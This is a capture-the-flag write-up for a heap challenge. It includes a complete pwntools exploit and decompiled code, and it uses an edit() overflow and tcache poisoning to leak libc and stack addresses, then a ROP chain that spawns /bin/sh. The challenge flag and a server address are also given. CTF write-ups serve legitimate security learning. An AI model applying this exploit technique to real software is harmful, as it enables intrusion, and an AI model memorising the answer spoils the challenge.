chal2

Description	In the heart of a bustling city, there stood a mysterious old mansion, which had been locked away from the world for decades. It was rumored to have belonged to a brilliant cryptographer named Dr. Archibald Hartman. Dr. Hartman had spent his life working on groundbreaking cryptographic techniques, but his work had always been shrouded in secrecy. Dr. Hartman had devised a cunning scheme to protect his most precious secrets. The hackers knew that to uncover the secrets of Dr. Hartman's cryptographic masterpiece and claim the legendary flag, they would need to master the digging process to uncover secrets from a big heap of junk. With every meticulously crafted method, they got one step closer to unraveling the enigma that had baffled the world for decades.
Flag	flag{overfl0ws_4re_h4rd_4rent_they}
# Port	9997
Server IP	98.70.36.225

Solution

- pip3 install pwntools
- python3 solve.py

▼ **solve.py**

```
from pwn import *
libc_path = './libc-2.31.so'
context.binary = "./chal/chal"
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF(libc_path)

def menu(s):
    s.recvuntil(b'>')


def alloc(s, size):
    menu(s)
    s.sendline('1')
    s.recvline()
    s.sendline(str(size))


def free(s, idx):
    menu(s)
    s.sendline('2')
    s.recvuntil(b'>')
    s.sendline(str(idx))


def edit(s, idx, size, cont):
    menu(s)
    s.sendline('3')
    s.recvuntil(b'>')
    s.sendline(str(idx))
    s.recvline()
    s.sendline(str(size))
    s.recvline()
    # s.sendline(str(idx))
    s.sendline(cont)

def read(s, idx, size):
    menu(s)
    s.sendline('4')
    s.recvuntil(b'>')
```

```
    s.sendline(str(idx))
    s.recvline()
    return s.recv(size)

def exploit():
    # s = process(env={'LD_PRELOAD': libc_path})
    # gdb.attach(s, 'b show\nb * main+124')

################################################################################################################################################
################################################################################################################################################
    s = remote('127.0.0.1', 9997) #change me
################################################################################################################################################
################################################################################################################################################

    alloc(s, 8) # 0
    alloc(s, 2048) # 1
    alloc(s, 8) # 2
    alloc(s, 8) # 3
    alloc(s, 8) # 4
    alloc(s, 32) # 5
    alloc(s, 32) # 6
    alloc(s, 32) # 7
    free(s, 1)
    edit(s, 0, 48, '')
    leak = read(s, 0, 48)
    libc_leak = u64(leak[-8:])
    success(hex(libc_leak))
    libc.address = libc_leak - 0x1ecbe0
    environ = libc.symbols['environ']
    free(s, 4)
    free(s, 3)
    edit(s, 2, 48, p64(0)+p64(0)+p64(0)+p64(0x21)+p64(environ))
    alloc(s, 8)
    alloc(s, 8) # should be environ
    leak = read(s, 3, 8)
    stack_leak = u64(leak[:8])
    success(hex(stack_leak))
    free(s, 7)
    free(s, 6)
    edit(s, 5, 64, flat({
        0x28: 0x31,
        0x30: stack_leak - 0x100
    }, filler=b'\x00'))
    alloc(s, 32) # 5
    alloc(s, 32) # 6
    bin_sh = next(libc.search(b'/bin/sh'))
    rop = ROP(libc)
    payload = p64(rop.rdi.address)
    payload += p64(bin_sh)
    payload += p64(rop.rdi.address + 1)
    payload += p64(libc.symbols['system'])
    payload += p64(libc.symbols['exit'])
    edit(s, 6, len(payload)+1, payload)
    menu(s)
    s.sendline('5')
    s.interactive()


if __name__ == "__main__":
    exploit()
```

This binary is very similar to the uaf binary with only small differences.

```
void __fastcall edit()
{
  unsigned __int64 v0; // [rsp+0h] [rbp-10h]
  size_t nbytes; // [rsp+8h] [rbp-8h]

  puts("which note do you wanna edit?");
  putchar(62);
  v0 = readint();
  if ( v0 <= 0xF )
  {
    puts("Size:");
    nbytes = readint();
```

```
    if ( nbytes <= 0x1FFF )
    {
      puts("Content:");
      read(0, array[v0], nbytes);
      size_array[v0] = nbytes;
    }
  }
}
void __fastcall delete()
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]

  puts("which note do you wanna delete?");
  putchar(62);
  v0 = readint();
  if ( v0 <= 0xF )
  {
    free(array[v0]);
    array[v0] = 0LL;
    size_array[v0] = 0LL;
  }
}
```

The `edit` function does not care about the already stored length in the `size_array` from allocation - and this lets us to overwrite out of the bounds of an allocated chunk - classic buffer overflow.

The Use After Free seen earlier has been patched by setting the freed slots in `delete` for `array` to NULL and `size_array` to 0 - so that we can't read/write to freed chunks.

So now here we can use the `tcache poisoning` again too. But since we don't have control over already freed chunks directly - we use the overflow primitive to achieve this.

We place an already freed - `victim` chunk to the next of the `target` vulnerable and then overflowing from `target` to `victim` chunk. We need to be sure that we keep the metadata sane and just overwrite the `fd` pointer.

```
+--------------+--------------+
|  target      |  victim      |
+--------------+--------------+
```

All other exploit primitives used are same - similar strategy to leak libc, heap and ROP.

Exploit steps

1. Allocate all `victim` and `target` chunks together so that the layout is deterministic

```
alloc(s, 8) # 0
alloc(s, 2048) # 1
alloc(s, 8) # 2
alloc(s, 8) # 3
alloc(s, 8) # 4
alloc(s, 32) # 5
alloc(s, 32) # 6
alloc(s, 32) # 7
```

2. `free` a small bin and use the overflow primitive to read the `main_arena` pointer. Use this to deduce the `environ` symbol

```
free(s, 1)
edit(s, 0, 48, '')
leak = read(s, 0, 48)
libc_leak = u64(leak[-8:])
success(hex(libc_leak))
libc.address = libc_leak - 0x1ecbe0
environ = libc.symbols['environ']
```

3. using the overflow - tcache poison to leak the `environ` value - a pointer to the stack. Here we edit the `fd` of the already freed tcache to point to `environ` such that the next allocation returns `environ`. We then read the `environ` to leak stack and calculate

where return address for `main` is saved.

```
free(s, 4)
free(s, 3)
edit(s, 2, 48, p64(0)+p64(0)+p64(0)+p64(0x21)+p64(environ))
alloc(s, 8)
alloc(s, 8) # should be environ
leak = read(s, 3, 8)
stack_leak = u64(leak[:8])
success(hex(stack_leak))
```

4. use the overflow - tcache poison again to get `malloc` to return a location on the stack. Here we edit the `fd` of another already freed tcache to point to stack such that the next allocation returns the address to saved return pointer on the stack

```
free(s, 7)
free(s, 6)
edit(s, 5, 64, flat({
    0x28: 0x31,
    0x30: stack_leak - 0x100
}, filler=b'\x00'))
alloc(s, 32) # 5
alloc(s, 32) # 6
```

5. Now we can build and write the ROP chain and trigger this by exiting from `main`